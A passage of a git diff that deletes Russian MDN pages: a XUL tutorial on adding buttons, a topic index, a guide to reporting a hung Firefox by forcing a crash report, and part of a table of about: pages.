top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(0, 153, 0) !important;">url</code><code class="plain" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(0, 0, 0) !important;">(</code><code class="string" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: blue !important;">"<a class=" external" href="http://example.com/images/search.png" style="color: blue !important;">http://example.com/images/search.png</a>"</code><code class="plain" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(0, 0, 0) !important;">);</code></td> </tr> </tbody>
-</table>
-</div>
-<div class="line alt2" style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: rgb(248, 248, 248) !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;">
-<table style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;"> <tbody> <tr style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;"> <td class="number" style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: top !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: 3em !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important; color: rgb(175, 175, 175) !important;"><code style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0.3em !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: right !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: 2.7em !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; display: block !important;">8</code></td> <td class="content" style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0.5em !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 3px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: top !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important; border-left-style: solid !important; color: rgb(0, 0, 0) !important;"><code class="spaces" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important;"> </code><code class="plain" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(0, 0, 0) !important;">}</code></td> </tr> </tbody>
-</table>
-</div>
-</div>
-</div>
-<p>These images come from within the chrome directory, in the skin for the findfile package. Because images vary by theme, you would usually place images in the skin directory.</p>
-</div>
diff --git a/files/ru/xul_tutorial/добавляем_кнопки/index.html b/files/ru/xul_tutorial/добавляем_кнопки/index.html
deleted file mode 100644
index 761edbf423..0000000000
--- a/files/ru/xul_tutorial/добавляем_кнопки/index.html
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: Добавляем кнопки
-slug: XUL_Tutorial/Добавляем_кнопки
----
-<p> </p>
-<p></p><div class="prevnext" style="text-align: right;">
- <p><a href="/ru/docs/XUL_Tutorial:Creating_a_Window" style="float: left;">« Предыдущая статья</a><a href="/ru/docs/XUL_Tutorial:Adding_Labels_and_Images">Следующая статья »</a></p>
-</div><p></p>
-<p>В этой статье мы посмотрим как добавлять некоторые простые кнопки к окну.</p>
-<h3 id="Добавление_кнопок_к_окну">Добавление кнопок к окну</h3>
-<p>В окне, которое мы создали, не было ничего и оно было неинтересным. В этой статье мы добавим 2 кнопки: кнопку поиска и кнопку отмены. Мы также изучим простой способ позиционирования их в окне.</p>
-<p>Подобно HTML, XUL имеет определённое количество тегов, которые могут быть использованы для создания элементов пользовательского интерфейса. Самый базовый из них - тег <code><code><a href="/ru/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code>. Этот элемент используется для создания простых кнопок.</p>
-<p>Кнопка имеет ассоциированные с ней свойства: <code>label</code> и <code>image</code>. Вам нужна одна или обе из них. Таким образом, кнопка может иметь только label, только image, или label и image одновременно. Кнопки используются например в качестве Ок и Отмена в диалогах.</p>
-<h4 id="Синтаксис_кнопок">Синтаксис кнопок</h4>
-<p>Тег <code><code><a href="/ru/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code> имеет следующий синтаксис:</p>
-<pre>&lt;button
- id="identifier"
- class="dialog"
- label="OK"
- image="images/image.jpg"
- disabled="true"
- accesskey="t"/&gt;
-</pre>
-<p>Атрибуты описаны ниже, все они не являются обязательными:</p>
-<dl> <dt><code id="a-id"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/id">id</a></code> </dt> <dd>Уникальный идентификатор, с помощью которого можно идентифицировать кнопки. Вы будете видеть этот атрибут на всех кнопках. Вы будете использовать его, когда Вам нужно будет ссылаться на кнопку в таблице стилей, или в скрипте. Вам следует добавлять этот атрибут к большинству элементов. Для простоты, идентификаторы в этом документе прописаны не везде.</dd> <dt><code id="a-class"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/class">class</a></code> </dt> <dd>Класс стиля кнопки. Это работает так же, как и в HTML. Атрибут используется для указания стиля, в соответствии с которым будет выглядеть кнопка. В данном случает используется значение <code>dialog</code>. В большинстве случаев вы не будете использовать для кнопки этот атрибут.</dd> <dt><code id="a-label"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/label">label</a></code> </dt> <dd>Текстовая метка, которая будет выведена на кнопке. Например, <em>OK</em> или <em>Отмена</em>. Если не указывать этот атрибут, на кнопке текста не будет.</dd> <dt><code id="a-image"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/image">image</a></code> </dt> <dd>URL изображения, которое появится на кнопке. Если не указать данный атрибут, на кнопке не будет изображения. Вы также можете задать изображение в листе стилей (stylesheet) используя значение <code><a href="/en/CSS/list-style-image" title="en/CSS/list-style-image">list-style-image</a></code>.</dd> <dt><code id="a-disabled"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/disabled">disabled</a></code> </dt> <dd>Если данный атрибут установлен в <code>true</code>, кнопка отключена. Как правило это обозначается серым цветом надписи на ней. Если кнопка отключена, то функции, вызываемые ею, не могут быть выполнены. Если данный атрибут отсутствует вообще, кнопка включена. Менять состояние кнопки на отключенное вы можете с помощью <a href="/en/JavaScript" title="en/JavaScript">JavaScript</a>.</dd> <dt><code id="a-accesskey"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/accesskey">accesskey</a></code> </dt> <dd>Этот атрибут устанавливает букву, которая может использоваться для быстрого вызова функции кнопки. Эта буква должна быть в строке текстовой метки и, как правило, отображается подчеркнутой. Когда пользователь нажимает ALT (или клавишу с такой же функцией, которая может называться иначе на другой платформе) и данную букву доступа (accesskey), кнопка получает фокус ввода из любого положения в окне.</dd>
-</dl>
-<p>Заметьте, что кнопки поддерживают больше атрибутов, чем те, которые перечислены выше. Другие атрибуты будут <a href="/en/XUL_Tutorial/More_Button_Features" title="en/XUL_Tutorial/More_Button_Features">описаны позже</a>.</p>
-<h4 id="Несколько_примеров_кнопок">Несколько примеров кнопок</h4>
-<p><span id="Example_1"><a id="Example_1"></a><strong>Example 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_buttons_1.xul.txt">Исходный код</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_buttons_1.xul">Просмотреть</a></p>
-<div class="float-right"><img alt="Image:buttons1.png" class="internal" src="/@api/deki/files/593/=Buttons1.png"></div>
-<pre>&lt;button label="Normal"/&gt;
-&lt;button label="Disabled" disabled="true"/&gt;
-</pre>
-<p>Примеры выше будут генерировать кнопки, показанные на рисунке. Первая кнопка - это обычная кнопка. Вторая кнопка отключена, поэтому текст на ней выводится серого цвета.</p>
-<p>Начнем с создания простой кнопки поиска для утилиты поиска файлов. Пример кода ниже показывает, как это можно сделать.</p>
-<pre>&lt;button id="find-button" label="Find"/&gt;
-</pre>
-<div class="note">Заметьте, что Firefox не позволяет вам открывать chrome окна с веб-страниц, поэтому ссылки Просмотра в руководстве откроются в обычном окнах браузера. Из-за этого кнопки появятся растянутыми на всю ширину окна. Вы можете добавить align="start" в тег окна, чтобы предотвратить такое растягивание.</div>
-<div class="highlight">
-<h5 id="Пример_findfile.xul">Пример findfile.xul</h5>
-<p>Давайте добавим этот код в файл findfile.xul, который мы создали в предыдущей главе. Код необходимо вставить между тегами <code><code><a href="/ru/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code>. В листинге ниже добавляемый код выделен красным цветом:</p>
-<pre class="eval">&lt;?xml version="1.0"?&gt;
-&lt;?xml-stylesheet href="<a class=" external">chrome://global/skin/</a>" type="text/css"?&gt;
-&lt;window id="findfile-window"
- title="Find Files"
- orient="horizontal"
- xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
-
- <span style="color: rgb(255, 0, 0);"><span class="highlightred">&lt;button id="find-button" label="Find"/&gt;</span><br> <span class="highlightred">&lt;button id="cancel-button" label="Cancel"/&gt;</span><br><br></span>&lt;/window&gt;
-</pre>
-<div class="float-right"><img alt="Image:buttons2.png" class="internal" src="/@api/deki/files/599/=Buttons2.png"></div>
-<p>Вы увидите, что также добавилась кнопка "Cancel". Окно имеет горизонтальное расположение, поэтому кнопки выводятся рядом друг с другом. Если вы откроете этот файл в Mozilla, вы увидите что-то подобное тому, что приведено на рисунке выше.</p>
-</div>
-<p> </p>
-<div class="note">Заметьте, что мы не должны помещать текстовые метки непосредственно в XUL файл. Вместо этого мы будем использовать <a href="/en/XUL_Tutorial/Localization" title="en/XUL_Tutorial/Localization">объекты, поэтому текст можно будет легко перевести на другой язык</a>.</div>
-<p>В следующей главе мы узнаем как <a href="/en/XUL_Tutorial/Adding_Labels_and_Images" title="en/XUL_Tutorial/Adding_Labels_and_Images">добавлять метки и изображения в окно XUL</a>.</p>
-<p><small>См.также <a href="/en/XUL_Tutorial/More_Button_Features" title="en/XUL_Tutorial/More_Button_Features">дополнительные возможности кнопок</a></small></p>
-<p></p><div class="prevnext" style="text-align: right;">
- <p><a href="/ru/docs/XUL_Tutorial:Creating_a_Window" style="float: left;">« Предыдущая статья</a><a href="/ru/docs/XUL_Tutorial:Adding_Labels_and_Images">Следующая статья »</a></p>
-</div><p></p>
-<p></p>
diff --git a/files/ru/zones/index.html b/files/ru/zones/index.html
deleted file mode 100644
index e79a409a98..0000000000
--- a/files/ru/zones/index.html
+++ /dev/null
@@ -1,51 +0,0 @@
----
-title: Разделы
-slug: Zones
-translation_of: Zones
----
-<p>Разделы MDN обеспечивают легкий и быстрый, в один клик, доступ к информации, структурированной по темам и продуктам. Список всех разделов приведен ниже.</p>
-
-<div class="row topicpage-table">
-<div class="section">
-<h2 id="Web_и_разработка_приложений">Web и разработка приложений</h2>
-
-<dl>
- <dt><a href="/en-US/Apps">Центр приложений</a></dt>
- <dd>Изучите как создавать открытые веб приложения, которые могут работать на множестве устройств различных типов, с помощью уже известных вам web-стандартов и открытых технологий.</dd>
- <dt><a href="/en-US/docs/Tools">Инструменты разработчика</a></dt>
- <dd>Изучите как пользоваться инструментами разработчика Firefox, чтобы отлаживать, тестировать и оптимизировать ваши приложения и web-сайты.</dd>
- <dt><a href="/en-US/Marketplace">Магазин Firefox</a></dt>
- <dd>Открытый, не собственнический онлайн магазин для web-приложений, построенных с использованием HTML, CSS и JavaScript. Отправьте приложение в магазин Firefox или постройте свой собственный магазин.</dd>
- <dt><a href="/en-US/docs/Games">Разработка игр</a></dt>
- <dd>Узнайте как разрабатывать игры для web, портировать уже существующие игры на web-технологии и превращать их в web-приложения.</dd>
-</dl>
-</div>
-
-<div class="section">
-<h2 id="Products" name="Products">Продукты и проекты</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Emscripten">Emscripten</a></dt>
- <dd>Транслятор LLVM в JavaScript. Он позволяет скомпилировать, к примеру, исходный код на C++ в  JavaScript, который в дальнейшем может быть запущен в любом web-браузере.</dd>
- <dt><a href="/en-US/docs/L20n">L20n</a></dt>
- <dd>JavaScript фреймворк для локализации приложений. Позволяет легко и быстро добавлять многоязычность и поддерживать ее с минимальными затратами на написание дополнительного кода.</dd>
- <dt><a href="/en-US/docs/Project:MDN">Проект MDN </a></dt>
- <dd>Mozilla Developer Network (где вы сейчас и находитесь) основывается на сообществе читателей и участников которые дополняют и улучшают ее. Здесь можно узнать как помочь использовать, дополнять и собирать исходный код, на котором работает MDN.</dd>
- <dt><a href="/en-US/Persona">Персона</a></dt>
- <dd>Это новая простая система единого входа (<a href="http://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D1%8F_%D0%B5%D0%B4%D0%B8%D0%BD%D0%BE%D0%B3%D0%BE_%D0%B2%D1%85%D0%BE%D0%B4%D0%B0">SSO - </a><a href="http://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D1%8F_%D0%B5%D0%B4%D0%B8%D0%BD%D0%BE%D0%B3%D0%BE_%D0%B2%D1%85%D0%BE%D0%B4%D0%B0">подробнее</a>), ориентированая на защиту персональных данных. Разработаная Mozilla, она позволяет пользователям регистрироваться на различных сайтах с помощью единого адреса электронной почты, освобождая вас от запоминания и хранения множества различныхпаролей.</dd>
-</dl>
-
-<h2 id="Технологии_Mozilla">Технологии Mozilla</h2>
-
-<dl>
- <dt><a href="/en-US/Add-ons">Плагины</a></dt>
- <dd>Научитесь правильно собирать и устанавливать расширения, темы, и плагины для програмного обеспечания от Mozilla, включая популярный web-браузер Firefox.</dd>
- <dt><a href="/en-US/Firefox">Firefox</a></dt>
- <dd>Изучите Firefox, начиная от его сборки и наладки и заканчивая сборкой его плагинов.</dd>
- <dt><a href="/en-US/Firefox_OS">ОС Firefox</a></dt>
- <dd>Новая мобильная операционная система, разработанная Mozilla. Она позволяет пользователям устанавливать и запускать приложения созданные с использованием технологий HTML, CSS, и JavaScript.</dd>
-</dl>
-</div>
-</div>
-
-<p> </p>
diff --git a/files/ru/как_сообщить_о_зависшем_firefox/index.html b/files/ru/как_сообщить_о_зависшем_firefox/index.html
deleted file mode 100644
index 1d0525a00c..0000000000
--- a/files/ru/как_сообщить_о_зависшем_firefox/index.html
+++ /dev/null
@@ -1,72 +0,0 @@
----
-title: Как сообщить о зависшем Firefox
-slug: Как_сообщить_о_зависшем_Firefox
-tags:
- - Firefox
- - Guide
- - Intermediate
- - QA
- - firefox завис
- - firefox зависает
- - зависания
- - сообщение о зависании firefox
- - сообщить о зависшем firefox
-translation_of: Mozilla/How_to_report_a_hung_Firefox
----
-<div class="note">
-<p><strong>Примечание:</strong> Эта статья предназначена для разработчиков и продвинутых пользователей. Если это не вы, или вы просто хотите избавиться от зависания Firefox'а, не сообщая о нём, см. <a href="https://support.mozilla.org/kb/firefox-hangs-or-not-responding">Firefox «зависает» или не реагирует — как исправить</a>.</p>
-</div>
-
-<p>Ваш Firefox не реагирует на ввод?  Или вы часто видите сообщение типа «Firefox запущен, но не отвечает…»?  Обычно это означает, что что-то в Firefox'е зависло.  Это может быть ошибка в коде самого Firefox, например взаимная блокировка или бесконечный цикл, или может быть вызвано другим ПО, например расширением для Firefox, антивирусом, или даже вредоносным ПО или вирусом в вашем компьютере.</p>
-
-<h2 id="Какую_информацию_включать_в_багрепорт">Какую информацию включать в багрепорт</h2>
-
-<ul>
- <li>Как обычно, <strong>следование <a href="/ru/docs/Mozilla/QA/Bug_writing_guidelines">Руководству по описанию ошибок</a></strong> значительно повышает шансы на то, что Ваш багрепорт приведёт к исправлению в Firefox.</li>
- <li><strong>Обратите внимание на загрузку ЦП процессом(-ами) Firefox'а:</strong> он спит, использует 100% ядра (это в программе может отображаться как 50% или 25% для многоядерных процессоров) или ни то ни другое?
- <ul>
- <li>(Если у Вас <strong>высокая загрузка процессора, а Firefox в конце концов развисает</strong>, посмотрите вместо этой инструкцию по <a href="/ru/docs/Mozilla/Performance/Reporting_a_Performance_Problem">Сообщению о проблеме с производительностью</a>.)</li>
- </ul>
- </li>
- <li><strong>Загружена ли Ваша система в остальном</strong> (высокая загрузка ЦП или занятая память, большая активность диска)?</li>
- <li>Если Firefox точно завис, пожалуйста <strong>укажите в багрепорте примерное время, прошедшее между зависанием и провоцированием падения</strong> (см. ниже). Если Вы подозреваете полное зависание (а не тормоза), подождите одну минуту на незагруженной системе прежде, чем получать stack trace.</li>
- <li>Ссылку на отчёт о падении для зависания, полученный описанным ниже образом.</li>
-</ul>
-
-<h2 id="Отправление_отчёта_о_падении_для_зависшего_Firefox'а">Отправление отчёта о падении для зависшего Firefox'а</h2>
-
-<p>Самый лёгкий способ помочь команде по обеспечению стабильности Firefox’а с отладкой таких зависаний — спровоцировать падение Firefox’а и отправить отчёт о падении (crash report).  Потом создайте багрепорт с идентификатором отчёта о падении.  Шаги для вызывания падения будут отличаться на каждой из платформ:</p>
-
-<h3 id="Windows">Windows</h3>
-
-<p>Для Windows, команда по обеспечению стабильности написала утилиту, которая <span lang="en">will inject a crash into Firefox</span>, что спровоцирует падение с запуском программы для отправки отчёта о падении:<a href="https://ftp.mozilla.org/pub/mozilla.org/utilities/crashfirefox-intentionally/crashfirefox.exe"> Скачайте crashfirefox.exe здесь</a> (<a href="https://github.com/bsmedberg/crashfirefox-intentionally">исходные тексты</a>). Будучи запущенной, эта утилита найдёт процесс firefox.exe и заставит его упасть (inject crashing code into it).  У неё ещё есть опции командной строки для «убивания» процессов с другими именами или по идентификатору процесса.</p>
-
-<ul>
- <li>Запустите утилиту crashfirefox.exe.</li>
- <li>Должно появиться окно для сообщения о падении.  Пожалуйста, поставьте нужную галочку, чтобы отправить отчёт о падении в Mozilla.</li>
- <li>Запустите Firefox.  Введите «about:crashes» в адресную строку и кликните верхнюю ссылку в списке.  Отчёт о падении должен выглядеть примерно как <a href="https://crash-stats.mozilla.com/report/index/849c631a-9106-4b58-bf76-756a52150214">этот</a>, который был от падения из-за <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1132241">bug 1132241</a>.</li>
- <li>Создайте новый багрепорт на <span lang="en">bugzilla.mozilla.org</span> (желательно на английском языке), используя <a href="https://bugzilla.mozilla.org/enter_bug.cgi?assigned_to=nobody%40mozilla.org&amp;bug_severity=critical&amp;bug_status=UNCONFIRMED&amp;cc=benjamin%40smedbergs.us&amp;cc=dmajor%40mozilla.com&amp;comment=This%20bug%20was%20filed%20from%20MDN.%20Firefox%20is%20hanging%2C%20and%20manually%20crashing%20produces%20this%20crash%20report%3A%20%3Cadd%20crash%20report%20link%20here%3E%0D%0A%0D%0APlease%20include%20any%20other%20information%20such%20as%20steps%20to%20reproduce.&amp;component=Untriaged&amp;form_name=enter_bug&amp;keywords=hang&amp;product=Firefox&amp;short_desc=Firefox%20hang&amp;format=__default__"> эту ссылку</a>.</li>
-</ul>
-
-<h3 id="Linux_и_Mac">Linux и Mac</h3>
-
-<p>На Linux и Mac (Firefox &gt;=27), программа для отправки отчёта запустится, если отправить процессу SIGABRT.  Идентификатор процесса (PID) Firefox'а можно найти с помощью любого менеджера задач.</p>
-
-<p><img alt="Нахождение PID Firefox с помощью менеджера задач (скриншот с Linux)." src="https://mdn.mozillademos.org/files/6221/firefox-pid.png" style="height: 637px; margin: 4px; width: 683px;"></p>
-
-<p>Потом, в терминале, прибейте процесс Firefox командой типа:</p>
-
-<pre># Замените 31042 PID'ом Firefox'а найденным выше.
-kill -n SIGABRT 31042</pre>
-
-<ul>
- <li>Должно появиться окно для сообщения о падении.  Пожалуйста, поставьте нужную галочку, чтобы отправить отчёт о падении в Mozilla.</li>
- <li>Запустите Firefox.  Введите «about:crashes» в адресную строку и кликните верхнюю ссылку в списке.  Отчёт о падении должен выглядеть примерно как <a href="https://crash-stats.mozilla.com/report/index/849c631a-9106-4b58-bf76-756a52150214">этот</a>, который был от падения из-за <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1132241">bug 1132241</a>.</li>
- <li>Создайте новый багрепорт на <span lang="en">bugzilla.mozilla.org</span> (желательно на английском языке), используя <a href="https://bugzilla.mozilla.org/enter_bug.cgi?advanced=1&amp;product=Firefox&amp;Component=Untriaged&amp;cc=benjamin@smedberg.us,dmajor@mozilla.com&amp;keywords=hang&amp;short_desc=Firefox_hang&amp;comment=This_bug_was_filed_from_MDN._Firefox_is_hanging_and_manually_crashing_produces_this_crash_report:_&lt;add_link_here>">эту ссылку</a>.</li>
-</ul>
-
-<h2 id="Другие_техники">Другие техники</h2>
-
-<p>On OS X if you use a Nightly build (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=764216">&gt;= Firefox 16</a>), you can use Activity Monitor's "Sample Process" feature to generate a sample. This won't produce useful results on a regular release/beta build.</p>
-
-<p>Вместо вызывания падения Firefox'а, более продвинутые разработчики, умеющие использовать отладчик, могут попробовать присоединиться к процессу Firefox'а для его отладки.  Это подходит только при наличии у вас отладочных символов для Firefox'а, которые доступны для Windows на <a href="/ru/docs/Using_the_Mozilla_symbol_server">сервере отладочных символов Mozilla</a>.</p>
diff --git a/files/ru/протокол_about_colon_/index.html b/files/ru/протокол_about_colon_/index.html
deleted file mode 100644
index 55cc489f95..0000000000
--- a/files/ru/протокол_about_colon_/index.html
+++ /dev/null
@@ -1,162 +0,0 @@
----
-title: 'Протокол about:; информация о Firefox'
-slug: 'протокол_about:'
-tags:
- - Firefox
- - Протоколы
-translation_of: Mozilla/Firefox/The_about_protocol
----
-<div>{{FirefoxSidebar}}</div><p>За протоколом URL about: скрыто много полезной информации о Firefox. Самый полезный URL — <code>about:config</code>, показывающий настройки, которые можно смотреть и изменять. Вот полный список URL'ов с псевдо-протоколом <code>about:</code>:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col"><code>about:</code>-страница</th>
- <th scope="col">Описание</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><a><code>about:</code></a></td>
- <td>Показывает информацию о версии и сборке, а также ссылки на список участников проекта, информацию о лицензии и конфигурации сборки.</td>
- </tr>
- <tr>
- <td><a><code>about:about</code></a></td>
- <td>Обзор всех страниц about:</td>
- </tr>
- <tr>
- <td><a><code>about:accounts</code></a></td>
- <td>Используется функцией <a href="https://www.mozilla.org/ru/firefox/sync/">Синхронизации</a></td>
- </tr>
- <tr>
- <td><a><code>about:addons</code></a></td>
- <td>Управление дополнениями</td>
- </tr>
- <tr>
- <td><a><code>about:app-manager</code></a></td>
- <td>Управление приложениями</td>
- </tr>
- <tr>
- <td><a><code>about:buildconfig</code></a></td>
- <td>Показывает конфигурацию и платформу, которые использовались для сборки Firefox</td>
- </tr>
- <tr>
- <td><a><code>about:cache</code></a></td>
- <td>Информация о кэше в ОЗУ, дисковом кэше и appcache</td>
- </tr>
- <tr>
- <td><a><code>about:compartments</code></a></td>
- <td>Там была информация о <a href="/ru/docs/SpiderMonkey/SpiderMonkey_compartments">compartments</a>; с версии 26 она в разделе «Other Measurements» about:memory.</td>
- </tr>
- <tr>
- <td><a><code>about:config</code></a></td>
- <td>Способ просмотра и изменения настроек Firefox</td>
- </tr>
- <tr>
- <td><a><code>about:crashes</code></a></td>
- <td>Список падений, случившихся за время работы Firefox (если пользователь включил <a href="https://support.mozilla.org/ru/kb/otchet-o-padeniyah-mozilla">программу для сообщения о падениях</a>)</td>
- </tr>
- <tr>
- <td><a><code>about:credits</code></a></td>
- <td>Список участников проекта Firefox</td>
- </tr>
- <tr>
- <td><a><code>about:customizing</code></a></td>
- <td>Включает страницу настройки интерфейса Firefox</td>
- </tr>
- <tr>
- <td><a><code>about:downloads</code></a></td>
- <td>Показывает загрузки файлов, сделанные с помощью Firefox</td>
- </tr>
- <tr>
- <td><a><code>about:healthreport</code></a></td>
